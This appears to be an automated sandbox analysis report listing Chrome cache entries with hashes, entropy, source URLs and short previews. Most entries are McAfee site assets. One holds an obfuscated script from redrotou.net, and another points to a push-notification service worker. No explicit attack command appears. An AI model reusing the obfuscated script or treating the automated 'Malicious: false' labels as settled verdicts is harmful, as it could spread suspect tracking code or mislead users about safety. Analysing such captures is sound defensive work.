Preview:	.PNG........IHDR...0...4......MK.....PLTEGpL..+........!....................4...................................1...........%.................).....#..$.....+..#..$..%..%....!.....$..'..+..)..0.....$..(..)..,.....0........$.!!..0..,..1........... .....:..!..!..#..$.....#..$..6..%..8........$..'.....!.."..$..'..8..&..+.....,..;..&..-........(..1.....&..(..+..2..>..2..2.....%..1.."......-..4..#..-..5..5..-..9..6..>..?...........5..:..?..<..>..F..'..'..;..3..<..@..A..?..,..8..?..E..A.. ..)....8..8..@..E..F..1..6..8..?..A..A..K..G..J.....0..1..5..E..@..E..F..F..J..6..7..7..>..3..7..9..?..I..L..G..L..N..A..H..C..D..L..A..G..G..M..?..A..G..I..K..K..,..>../..A..F..I..3..4..8..8..9..B..G..E..F..F........ ..!..#..%..&..(..)....,........0..2..4..5..7..:..<..>..?..@..@..B..H..D..J..E..G..LB9.E....tRNS..R0.^...M.(w....,.....n.;...........=.f+..M.%v...T.B.g..u..6. ............b....X...Q.4G..Y.......QT.[........1.F....u....i..$...Rq..`.J.m..~i*U...%..8.}....,...A._F...G.R.4.V.

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	786
Entropy (8bit):	4.665424766205732
Encrypted:	false
SSDEEP:	24:tc1Qu5WoHVNhrRoYB9wWua6LjkSkZEJFJ1YkmvAU4/4GnhllP:ItRfrK4fJZZW3avxMR
MD5:	938FDB5ECAFB4BE8ACD4C02F92CC5555
SHA1:	8F93F7F4358EAA9919B09E6730D82601670B01C4
SHA-256:	6749F7F01334A56B3D0072E9EDC9E783008EE7A7E6FE06044C389935A562E5B1
SHA-512:	104DB74848751B0A08871C222837E12EA63C251A17561BBCCCD67B9842FF316AC5F3CE6772E1DEE1F939CEEF756E4474AFE75EE7140C46055BBCAE27F1354D3D
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/images/alert-danger-icon.svg
Preview:	<svg width="19" height="18" viewBox="0 0 19 18" fill="none" xmlns="http://www.w3.org/2000/svg">.<g id="Frame">.<path id="Vector" d="M10 7V10.125M17.5 9.5C17.5 10.4849 17.306 11.4602 16.9291 12.3701C16.5522 13.2801 15.9997 14.1069 15.3033 14.8033C14.6069 15.4997 13.7801 16.0522 12.8701 16.4291C11.9602 16.806 10.9849 17 10 17C9.01509 17 8.03982 16.806 7.12987 16.4291C6.21993 16.0522 5.39314 15.4997 4.6967 14.8033C4.00026 14.1069 3.44781 13.2801 3.0709 12.3701C2.69399 11.4602 2.5 10.4849 2.5 9.5C2.5 7.51088 3.29018 5.60322 4.6967 4.1967C6.10322 2.79018 8.01088 2 10 2C11.9891 2 13.8968 2.79018 15.3033 4.1967C16.7098 5.60322 17.5 7.51088 17.5 9.5ZM10 12.625H10.0067V12.6317H10V12.625Z" stroke="#C01818" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>.</g>.</svg>.

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45412), with no line terminators
Category:	downloaded
Size (bytes):	45412
Entropy (8bit):	5.590423983947241
Encrypted:	false
SSDEEP:	768:fnnnxdoVqah1NE2lgc0cquA2ZUn/w0UwYEozfAW9gCIHrrsGzx24ZuOqoh8lx5nt:2o92gUwxo8/Cgr7ZrZENfirzwvxdN
MD5:	628CEC81962EE09B413CE7668F872C5E
SHA1:	182057B5601DBDF99ED18957C50FEA02981F2642
SHA-256:	6C5D5FF8B412B9EB1647D60A917B61BEE0CBB59687B6C9C40718C808155C9820
SHA-512:	D1E850983B6AE731B52F15EA9330F1D64FAF5BA7837BC6897879D529BD6CB7041BAF2652ADBF149D951F8E599456D96432D3EA445D835B92D4780E26824A3CAC
Malicious:	false
Reputation:	low
URL:	https://redrotou.net/pfe/current/micro.tag.min.js?z=6508804&sw=/sw-check-permissions-fd64c.js
Preview:	(function(K){(()=>{'use strict';var e=K.L(K.x,(e,t)=>{Object[K.DK](t,K.vK,K.L(K.Sk,!K.N)),t[K.AK]=t[K.eK]=void K.N;const r=K.R,n=[];function o(e){const t=window[K.qb][K.bb][K.ZM][K.bM]\|\|r;[window[t]\|\|[],n][K.ck](t=>{const r=t[K.hS](e);r>-K.tr&&t[K.EY](r,K.tr)})}t[K.AK]=function(e,t,o,i,a){let s;try{i instanceof HTMLScriptElement&&(s=i[K.sE][K.hY](K.xE)[K.Hb])}catch(e){}const c=window[K.qb][K.bb][K.ZM][K.bM]\|\|r;window[c]?window[c][K.ck](e=>{e[K.sK]===o&&e[K.tC]&&(o=e[K.tC],s=e[K.QK])}):window[c]=[];const d=K.L(K.Qb,e,K.Jj,t,K.sK,o,K.QK,s);a&&(d[K.YY]=K.L(K.sr,a)),n[K.OE](d),window[c][K.OE](d)},t[K.eK]=function(){n[K.ck](o)}},K.r,(e,t)=>{Object[K.DK](t,K.vK,K.L(K.Sk,!K.N)),t[K.tK]=void K.N,t[K.tK]=()=>{const e=navigator[K.jb];return new RegExp(/Chrome-Lighthouse/)[K.yM](e)}},K.K,(e,t,r)=>{Object[K.DK](t,K.vK,K.L(K.Sk,!K.N)),t[K.f]=void K.N;const n=r(K.g),o=K.L(K.ar,K.Xr);t[K.f]=async function(e){const t=await(K.N,n[K.rj])();if(!t)return e;const r=btoa(JSON[K.WE](t)),i=r[K.Ik];return e[K.

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 2-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	184
Entropy (8bit):	5.692870828469642
Encrypted:	false
SSDEEP:	3:yionv//thPl9vn0Xl/jgSNlBNWF6KHtRMlsLtsBNrZGEIBZh2qwRmZAvqjLeGtlz:6v/lhP2l/USNLCtRksReGEItpAvYNtlz
MD5:	B41E68F97C86E23A030E2B22A2FE321E
SHA1:	5DFFFD3D4424BAD757A33EC74657187B94409921
SHA-256:	71435FFDC73B1EAEC538ECA07A5F6FE02821B6C6517FD5C7FC7DFD7EC0B5BB2F
SHA-512:	D37833213304472E4F5448CD615C4FD13AE37472DF97CE79C4977400D3AB042EE24549A58545577841EF02A0AB74546119D57E072C831A244CF5D2FAC4F124A8
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/remove_icon-red.png
Preview:	.PNG........IHDR.............b.......PLTE.............V.%....tRNS. .y./9....orNT..w.....sRGB........>IDAT.[c.a`.a.d..<......0.=.....3..!o'........%.J.............5U.......IEND.B`.

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19863), with no line terminators
Category:	dropped
Size (bytes):	19863
Entropy (8bit):	5.3447766218190145
Encrypted:	false
SSDEEP:	384:s40C/Kax6IcZb9QI0rcOZ4yjR8rSxnMhNgyyi82Xo4uc:Vr6IcZqInOnRHMrPyG1
MD5:	BC033C3A83E1880E480086BF11AC0B0A
SHA1:	35137329601CC7E9CECFFEA9B881C363D42799F5
SHA-256:	AEBE8DF81EE2BA5BC51E3ABC322910EE5122A0AC06EDFBCF7A04E1659D17DC9C
SHA-512:	45CB92F652D6D14F65FE7CDA19389A6C5BE8BADD7EF0110EAD45D045EC20A6037D0C21C594FD193387C49E5150E8B8FC559CF6476AAFBF2B33324993667516CE
Malicious:	false
Reputation:	low
Preview:	!function(e){var t={};function n(r){if(t[r])return t[r].exports;var i=t[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)n.d(r,i,function(t){return e[t]}.bind(null,i));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=0)}([function(e,t,n){"use strict";function r(){if("undefined"==typeof TextEncoder){window.Tex

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 10 x 10, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	238
Entropy (8bit):	5.86066383041484
Encrypted:	false
SSDEEP:	6:6v/lhPM7aelpWzKK9uL8BkA619ksRzbje/+1K4t1aAnYteup:6v/7k7zl4KXQBCzb+aKK1aANc
MD5:	07E3E6501A06FB0451B9A2D17C5802A5
SHA1:	FBA9EBCF65C6CB7ABE1F856A9ED750BDED1D49D6
SHA-256:	F4EF868E855C20F617235F3A60B555DDF71E50769C8EC619208892CE05F166B8
SHA-512:	22DFA6CC3F39D5AD4A1C69FD8A4640CE93904ACFC236DAF72E10039FC8ADF973CDAA31EFDAD6FC4DD070A6AD4DEA27D67A00228E33A3DD407C7AC457392CB413
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/ipt/external-link.png
Preview:	.PNG........IHDR...............?....3PLTE...AY.BZ.@`.AX.@X.EY.AW.AW.BX.BX.BX.@X.CZ.A\.@X.DX.ky(.....tRNS.?....?./.`. o/@@.{.....orNT..w.....sRGB........?IDAT..c`@..L..,,.@..;...d.2....xX.`L^&..(.. L>&.6n `....p......C..l.=.f....IEND.B`.

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "tmpwpxf9m60", last modified: Thu Sep 26 19:05:56 2024, max compression, original size modulo 2^32 43575
Category:	dropped
Size (bytes):	11986
Entropy (8bit):	7.982374573672335
Encrypted:	false
SSDEEP:	192:TS268zKiFWcYMzpr0qMTcRAfBRzLl/NFkqiJI0qaIqJy7yuq0mmC67ycQKUegZ:h9zKi9lpA4uptLNkxu0vsz0cQJB
MD5:	23204B2608B25D3C712459757CB87349
SHA1:	E1B2144965CD8FB2355BBE14691A2AB3B1C56833
SHA-256:	31033300E4EEDBD2D2539D3650D783D77D358B2B6B54313D9E0C05ABA3161402
SHA-512:	B3F4B19143D8A20339C6ED90D3CE08FA4DA66C5EE90B73FCAE617529BB3A9E516A24179DBA277AB205807DAE575296B66A348647F609C04F58A79175EED82150
Malicious:	false
Reputation:	low
Preview:	.......f..tmpwpxf9m60..}is.F..w....h.P...4.Rd9.-y%9yv..."..b....lE....{n..\|$....".....kzf...\|Z.E..w...^U...G7I.qV.r.............I<..>...&..wr..B...I.G/... ........!..../.......:..............v..G).Gd.......\|...)....(..,;(..}..a.Giv..'5o..D.Q..."K.P.MY,Ly..a:/.[...uZ7.cR.....n.=.....1.O..(.>..../ox.z..."..0ez...'<.I.....d....y....}y/.<....a.a..L.)..J...~....RUC.....V...)....2=7W.^.5.V.EX/.:y...f.J.K@..x.&yyQ{.b..p4.~J.%...x..^..a.n=X0T...~..Y../..4V\|.z.....Uq.+...VP......Rb.0..P].z)~cSP..y....c..x..0-..~...y..}.-8WI.Ud..#x<..b..X.j.\|.d......\.....#.o.......l..5RuWX....rz....y.\,..v.WQ.......gIy...%M.1...".D.w..j.,/..T..j-kz.Ue'o..[....U.........C..L~y7..D.=.......^.)Xn..@.%.;..<........y.,...._..a....\|..!.2...".....;.7<c....U.\............2...e..~8.>.....i../.F$...U........H.B..,.!)s....f.4..V..-....}.3~.....5..A.#........uz.e}8..e.).......o.`!......y..O...d.'.t.....T#;1.fU\..(.]..Q.dF.0Y1*.Qw.....V..A?./...8......e...O.3...eB.@..R.ZU.,...t.

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	4.913441567863892
Encrypted:	false
SSDEEP:	96:sElG5dAYTBUXec2W3+ceFw312Y2M65A1Aws4:scGnAYA2W3rQLsr
MD5:	FD1945DDAE6F0FF107BB8F7BC937B049
SHA1:	7D770E9BA498AD670B909E7CEE3A8F4ED6A5B3B6
SHA-256:	172B28A836DE467C33540CAA978CA96D5ABF05A13B9E81711747245B788FB693
SHA-512:	6D1EF5D9E2C45D88DA0DC059608FF609F62A5D3C59A890592448A25E22726C8D9F8500D009CB12B787F9A3853DFA7F0CE3CE8733D6ADFE3DA2051FFF98A8B380
Malicious:	false
Reputation:	low
Preview:	<svg width="31" height="31" viewBox="0 0 31 31" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M16.3248 0.795012L16.0281 0.702873L15.7315 0.795012L3.52758 4.58572L2.82422 4.8042V5.54071V8.5H4.82422V6.27723L16.0281 2.79713L27.232 6.27723V8.5H29.232V5.54071V4.8042L28.5287 4.58572L16.3248 0.795012ZM29.1818 22.375H27.1352C26.9723 22.9092 26.6121 23.3716 26.1144 23.6584L18.5246 28.0322C16.9794 28.9226 15.0769 28.9226 13.5316 28.0322L5.94188 23.6584C5.44417 23.3716 5.08394 22.9092 4.92111 22.375H2.87445C3.06961 23.6303 3.82265 24.7455 4.94328 25.3912L12.533 29.765C14.6963 31.0117 17.3599 31.0117 19.5232 29.765L27.113 25.3912C28.2336 24.7455 28.9867 23.6303 29.1818 22.375Z" fill="url(#paint0_linear_100_2132)"/>.<path d="M5.86938 20.9615H4.10516V13.8746C4.10516 13.0288 4.12518 12.3582 4.16522 11.8627C4.05011 11.9828 3.90747 12.1154 3.7373 12.2606C3.57214 12.4057 3.0116 12.8661 2.05566 13.6419L1.1698 12.5233L4.39795 9.98584H5.86938V20.9615Z" fil

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64718), with CRLF line terminators
Category:	downloaded
Size (bytes):	78267
Entropy (8bit):	5.274897090805538
Encrypted:	false
SSDEEP:	1536:mowkRqpOjneNV9BAdxANDq313CIT4htQpv:moHMpadCDqxn
MD5:	B411E8D48675B2997B8D5972E50B996B
SHA1:	1F65B5FB35968CAC9ED2E82B32F8BA66427446E6
SHA-256:	8E395C6B4F73B4658869A0A6B17CB3269F04A106BBEBCD93DA3279C586220F9B
SHA-512:	5F513DF822FAA26026B4D63098A349E2ADFC3D2930CCD05A2E532605ED36F7397D63F6CBEF21ED9C03D3F4C5AE880C56B21A4668737EBB6968B38973F120772B
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/consumer/template-scripts/adobe/js/170312/propandAT.min.js
Preview:	function __getCookie(name) {.. let decodedCookie = decodeURIComponent(document.cookie);.. let cookies = decodedCookie.split('; ');.. for(let i = 0; i < cookies.length; i++) {.. let cookie = cookies[i];.. if (cookie.startsWith(name + '=')) {.. return cookie.substring(name.length + 1);.. }.. }.. return '';..}..if(!window.location.href.includes("/de-de/") \|\| __getCookie('_evidon_consent_cookie').includes('"analytics cookies":true')){..// AT-property.js..function targetPageParams(){if(window.location.href.indexOf("/ipz/")!=-1){return{at_property:"c5361b70-0e91-9172-f979-5395b2ff43b1"}}return{at_property:"2005df77-5d19-e2c3-85ed-5804d4318506"}}..// AT-property.js....//No Custom JavaScript..../*.. @license.. * at.js 1.7.0 \| (c) Adobe Systems Incorporated \| All rights reserved..*/..window.adobe=window.adobe\|\|{},window.adobe.target=function(){"use strict";function n(){}function t(n){if(null===n\|\|void 0===n)throw new TypeError("Object.assign cannot be called with

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 20, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	282
Entropy (8bit):	6.573725647158706
Encrypted:	false
SSDEEP:	6:6v/lhPgtdckO3zRksRBDJm42kCgDD7SAsyoKYy5r8eSVp:6v/7It9OjbJJm5NAToKYy5QeS7
MD5:	F00FF7378BDB1D7221C8CC8E4F642EC8
SHA1:	B7A521B9DBE7C5282FD38BC91A7BF88244EC5F63
SHA-256:	EA3A2FB1BE08A8AFA2843FA832E19E65E1DF38FF580F3EC7D2DE173DE07C655E
SHA-512:	F47B8391BD91CA3A337934B2F0EC48B35966023623441FD653E40DB9172E72EAFC60834F8B99B4B13DE4909BCEE560D4B6103D58FB885C47E5F3CF6ED665C09A
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/payment-image/cvv_tooltipImage.png
Preview:	.PNG........IHDR..............k.....EPLTE........................................................................orNT..w.....sRGB........vIDAT...I.. ...*j..n.......c..8t.%....MA...........oX...P...E..a..x.q.....>.J.......!qc.}tm...l.WS..q],..=.p..G...'....B{.....IEND.B`.

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "tmpogqwyg53", last modified: Wed Oct 2 13:43:43 2024, max compression, original size modulo 2^32 291882
Category:	dropped
Size (bytes):	93437
Entropy (8bit):	7.997536430414738
Encrypted:	true
SSDEEP:	1536:pS4oyCgsR0dguGKvsg1dVjA9prPEdiO83NzAPccMz0F+jCY+zYIezQ9iX:pSSBsud7seVj6p0Klzi+j5tW9k
MD5:	8440DB721CD4128AA9DB865D2ACC5F5D
SHA1:	B5152BC31F1196F28861CE29E5077E6C76C28F61
SHA-256:	1B12C1A613F5C91AB298E408A81797F7A096392269885E4C984CE31609E10D91
SHA-512:	CA476A4E8B93648BD41B45CCE8AA9D06DF37065EC19D91103BE452C40C1F94A8D651007278FC7CC486F5DF399C6EA2CE27E36F0BC7A82C3B20E95738083EE371
Malicious:	false
Reputation:	low
Preview:	.....N.f..tmpogqwyg53..}y......S8:.9.q.]...L.M.t..'?.c..........E..s.}.9.X.I........&~\..#^...%.p\K&....?....7...j....t:.%at.j...^.....r.1...at.%~...l.=....G.$.M.d....noo.c.$.J...zm...Z..x..F..0..XI..?..N...[..^.U..Z......8.N.[?.R.-.......1..q.[\?.y.=.'wI..X).$.?L...8..X.v.n<h......'i..{\|....z..(L..~......3._\........9...E...-a...uv7.?>.S..6......G.8S..'^\|\|.@.3.%.co:.N./.I.....q........?.-.g-.X#t._^.`.\.w.I....~[;..(..X[S/.k....(..x...../..}g.B........t..P...^......q..F>.BB.cA6P.K.....0.^........a.#gN.s.9...q...........p.,r....A..<.J&m.m..WV.....e...8[\.......-..._.f.. b.js"#D..H..Fm.....B;.~....#.,....).4...<.a...ag>....Sb.3.....o.bX.'Kx.GPl'.Q.....:..L[..o.s.-....p.\|....@c...?.S.:s.#7R.b0...d.a@....\,%...1..K..w......-.;`M4.y.1.........3.A.+..3.....}..[..p.......90...Y..\..z..... ...D..0..\D....17.N...rTH.[....@...........4..].u...1v.m..`....p....D......sw}..t.Y...-.!.......`%p.,".5..@K.].\|.Zn.T#F9jf..X.A.84..}.>.......y....

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1599
Entropy (8bit):	5.27134959796387
Encrypted:	false
SSDEEP:	24:hY6svD+6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z8xDWEC6S8f:3qD+2+pUAew85zsDWEC5A
MD5:	478C49CE62DE7CFDAFA0822D6EAD3971
SHA1:	224E68FA7AE726BA0C1F7D0600924D96F974CD1A
SHA-256:	17C227B33571A3775EC2A058D0E1E5E665D3D20C13DE24418BED3953FE98B7DE
SHA-512:	75C501716EEC1EE6C4769D2EFC897056CE59305346B180577A726A5174470A4F5AE4407AF7BC69EE2AB827A29594A96AE5C31794F63BC6F7029C5A74AA3B00CA
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 404 (Not Found)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.4144413036949715
Encrypted:	false
SSDEEP:	3:YXca47fcaDFCIn:YMa49YI
MD5:	EA09F91FEBAA0DAA6FF7CA083C32EF03
SHA1:	7DB97F9A004B2197111F3DEED9F88773435EE2F5
SHA-256:	18942862D38FF7690D608CAD7358CB6012E0E21CF6239A8122FD1CE1D7E0D7F7
SHA-512:	C01CBDE1C9549A79DD203E06864EEB54F7B0E2369C4855EEBB35014D40888D7FED1BE734D02A510506E349F8E839E6A9A8AA91B7F88C4FBEEE367BF0154C81C0
Malicious:	false
Reputation:	low
Preview:	{"reason_code":9,"reason":"Invalid page URL"}.

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	2078
Entropy (8bit):	7.499908456017373
Encrypted:	false
SSDEEP:	48:rGo/jGqZV6+/OQpdvbO/KX9kYrLap5y1/D/1rD+n:rGgGSw+2QpdCdpp6N+n
MD5:	970873C65954F581B8DCF2278A89E497
SHA1:	E6BE7894D338BD0AD53D3C30A943C8344AB398E6
SHA-256:	B8BEEB92C56DB08795E2AE6AEBDCAFFD07CBB2A4FBB455C2D614F73B0A7153F0
SHA-512:	FE7AECF6FDF753563FB829446BCFF6CC1657C9E907A54BB32FCDC17080725948553BDFDFB113622A970C9C19A12F477D2B7823943C507B7274D5B00B1E5AA126
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/existing-customer-purchase-icon.png
Preview:	....ftypavif....avifmif1miaf....meta.......!hdlr........pict.................pitm.........4iloc....D@.....................................M...8iinf..........infe........av01.....infe........av01.....iprp....ipco....colrnclx...........av1C........ispe................pixi.........8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....av1C........ispe................pixi............ipma..........................iref........auxl.........jmdat.......e.T2.....$P...=X.I..I...$y@..,&....h...(...^.w...;...dT............1\.,.h.._3i<..Gm....j`5..[..\..H`...^..e..~D..@....._......5.M.N.t.?...!.<e..=....j\7...u.._...B.GFuy;.%?..o^......`.uf.u.}...`...._.z.&.#'E.;rhgY4]~..X.....:.u.9Z..\|@.....?.E..:........3..........kUqN.'........f.bC....9.\.6..E.A A<....S.9/[..,C.p.'..j.O.X(u.m..:`+.\..o\|0.......G..(...:..e..5.(..NE7...7.a...S./...T..I{G.C....Uy$.ir.~....\X1.%..i.Dy...4...d9.[. 1Y.q.)........X......s85............j.z..qP....u.<.T...G........e. !..2.....I$.

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8192), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	52979
Entropy (8bit):	5.396065495147958
Encrypted:	false
SSDEEP:	1536:5Jme6Jx35bfJOAcezoUE4IqqexrWigcucMhee5XtItR28l:nW3HO5e+qC98l
MD5:	8642ED0B98A0A7432A2976ACEECE9213
SHA1:	3488E09A705F12803935983FAA50C095B9718CC1
SHA-256:	3261E2D861BD39394CC1B6B1787C6D0893D166E6547E81438F1515379554CA65
SHA-512:	4BA77D1A802BD285B3013EB79B5EEE4F16B468249EB2EDF019D5F6EFE5E285C45CF9F6727DEF0D95A1FF2AD89FCDFE92B0F0F4FA249938F0C64B121A146072AD
Malicious:	false
Reputation:	low
URL:	https://app.upsellit.com/hound/monitor.jsp?qs=dPXZ9bw1J7MpbBgMBViugXr&siteID=42094&si=qx3zi0_1727968801
Preview:	Array.prototype.filter\|\|(Array.prototype.filter=function(t,e){"use strict";if("Function"!=typeof t&&"function"!=typeof t\|\|!this)throw new TypeError;var r=this.length>>>0,o=new Array(r),n=this,l=0,i=-1;if(void 0===e)for(;++i!==r;)i in this&&t(n[i],i,n)&&(o[l++]=n[i]);else for(;++i!==r;)i in this&&t.call(e,n[i],i,n)&&(o[l++]=n[i]);return o.length=l,o}),Array.prototype.forEach\|\|(Array.prototype.forEach=function(t){var e,r;if(null==this)throw new TypeError('"this" is null or not defined');var o=Object(this),n=o.length>>>0;if("function"!=typeof t)throw new TypeError(t+" is not a function");for(arguments.length>1&&(e=arguments[1]),r=0;r<n;){var l;r in o&&(l=o[r],t.call(e,l,r,o)),r++}}),window.NodeList&&!NodeList.prototype.forEach&&(NodeList.prototype.forEach=Array.prototype.forEach),Array.prototype.indexOf\|\|(Array.prototype.indexOf=function(t,e){var r;if(null==this)throw new TypeError('"this" is null or not defined');var o=Object(this),n=o.length>>>0;if(0===n)return-1;var l=0\|e;if(l>=n)retur

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	78443
Entropy (8bit):	5.363827786242499
Encrypted:	false
SSDEEP:	1536:4zJ22JFwMcUUTW8p9Px0JTrKsXhOkH2x2:GJ2mFwUK9qrKsX8kHE2
MD5:	9D01FCDEF69DBDDD86611807734FCDAD
SHA1:	DA1C20D0CD2AB6925169A4119B5C69F9B566432B
SHA-256:	43047EC2BA4455336F754E421D24980E67EBB320EB7EB4607DBAAC157E21233D
SHA-512:	C96FDEC79CB19BF636227D1C7726E8FAF6C3985A683286CCB71497DAB9D116041894F0FDD548D8058B5D7EFF5483E2FCDAC38E7E28D1AEAC7460970B044AE4B9
Malicious:	false
Reputation:	low
URL:	https://sdk4push.com/f/sw.js
